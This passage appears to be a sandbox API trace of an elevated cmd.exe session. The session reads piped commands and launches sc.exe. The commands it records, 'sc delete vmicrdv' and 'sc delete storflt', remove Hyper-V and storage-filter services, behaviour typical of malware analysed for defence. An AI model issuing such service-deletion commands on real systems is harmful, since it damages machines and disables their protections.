0x240000 [0073.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0073.155] GetProcessHeap () returned 0x240000 [0073.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0073.155] GetProcessHeap () returned 0x240000 [0073.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0073.155] GetProcessHeap () returned 0x240000 [0073.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0073.155] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0073.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.155] GetFileType (hFile=0x120) returned 0x3 [0073.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.155] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0073.155] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.155] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.155] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.156] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0073.156] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.156] GetFileType (hFile=0x120) returned 0x3 [0073.156] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.156] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0073.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.156] GetFileType (hFile=0xb8) returned 0x3 [0073.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicrdv\ntbeat\nface\n") returned 1 [0073.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicrdv\ntbeat\nface\n") returned 1 [0073.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicrdv\ntbeat\nface\n") returned 1 [0073.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmicrdv\ntbeat\nface\n") returned 1 [0073.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmicrdv\ntbeat\nface\n") returned 1 [0073.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicrdv\ntbeat\nface\n") returned 1 [0073.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicrdv\ntbeat\nface\n") returned 1 [0073.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmicrdv\ntbeat\nface\n") returned 1 [0073.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmicrdv\ntbeat\nface\n") returned 1 [0073.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmicrdv\ntbeat\nface\n") returned 1 [0073.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="smicrdv\ntbeat\nface\n") returned 1 [0073.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="ticrdv\ntbeat\nface\n") returned 1 [0073.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ocrdv\ntbeat\nface\n") returned 1 [0073.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="rrdv\ntbeat\nface\n") returned 1 [0073.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="fdv\ntbeat\nface\n") returned 1 [0073.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="lv\ntbeat\nface\n") returned 1 [0073.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.160] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="t\ntbeat\nface\n") returned 1 [0073.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.160] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0073.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.160] GetFileType (hFile=0xb8) returned 0x3 [0073.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.160] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.160] GetFileType (hFile=0x120) returned 0x3 [0073.160] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete storflt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete storflt\n", lpUsedDefaultChar=0x0) returned 19 [0073.160] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x12, lpOverlapped=0x0) returned 1 [0073.160] GetProcessHeap () returned 0x240000 [0073.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25fb10 [0073.161] GetProcessHeap () returned 0x240000 [0073.161] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0073.161] GetProcessHeap () returned 0x240000 [0073.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0073.161] GetProcessHeap () returned 0x240000 [0073.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0073.161] GetProcessHeap () returned 0x240000 [0073.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256510 [0073.162] GetConsoleOutputCP () returned 0x1b5 [0073.162] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.162] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.162] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.162] GetProcessHeap () returned 0x240000 [0073.162] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0073.162] GetProcessHeap () returned 0x240000 [0073.162] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256550 [0073.162] GetProcessHeap () returned 0x240000 [0073.162] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0073.162] SetErrorMode (uMode=0x0) returned 0x1 [0073.162] SetErrorMode (uMode=0x1) returned 0x0 [0073.163] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0073.163] SetErrorMode (uMode=0x1) returned 0x1 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0073.163] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.163] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0073.163] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.163] GetProcessHeap () returned 0x240000 [0073.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0073.163] GetProcessHeap () returned 0x240000 [0073.164] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0073.164] GetProcessHeap () returned 0x240000 [0073.164] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0073.164] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.164] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.164] GetLastError () returned 0x2 [0073.164] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.164] GetLastError () returned 0x2 [0073.164] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.165] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.165] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.165] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.165] GetLastError () returned 0x2 [0073.165] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.165] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.165] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.165] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.165] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.166] GetProcessHeap () returned 0x240000 [0073.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x25ba90 [0073.166] GetConsoleTitleW (in: lpConsoleTitle=0x25baa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.166] GetProcessHeap () returned 0x240000 [0073.166] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba90, Size=0x9c) returned 0x25ba90 [0073.166] GetProcessHeap () returned 0x240000 [0073.166] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba90) returned 0x9c [0073.166] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete storflt") returned 1 [0073.167] GetProcessHeap () returned 0x240000 [0073.167] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0073.167] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0073.167] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0073.167] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.167] GetProcessHeap () returned 0x240000 [0073.167] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.167] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", 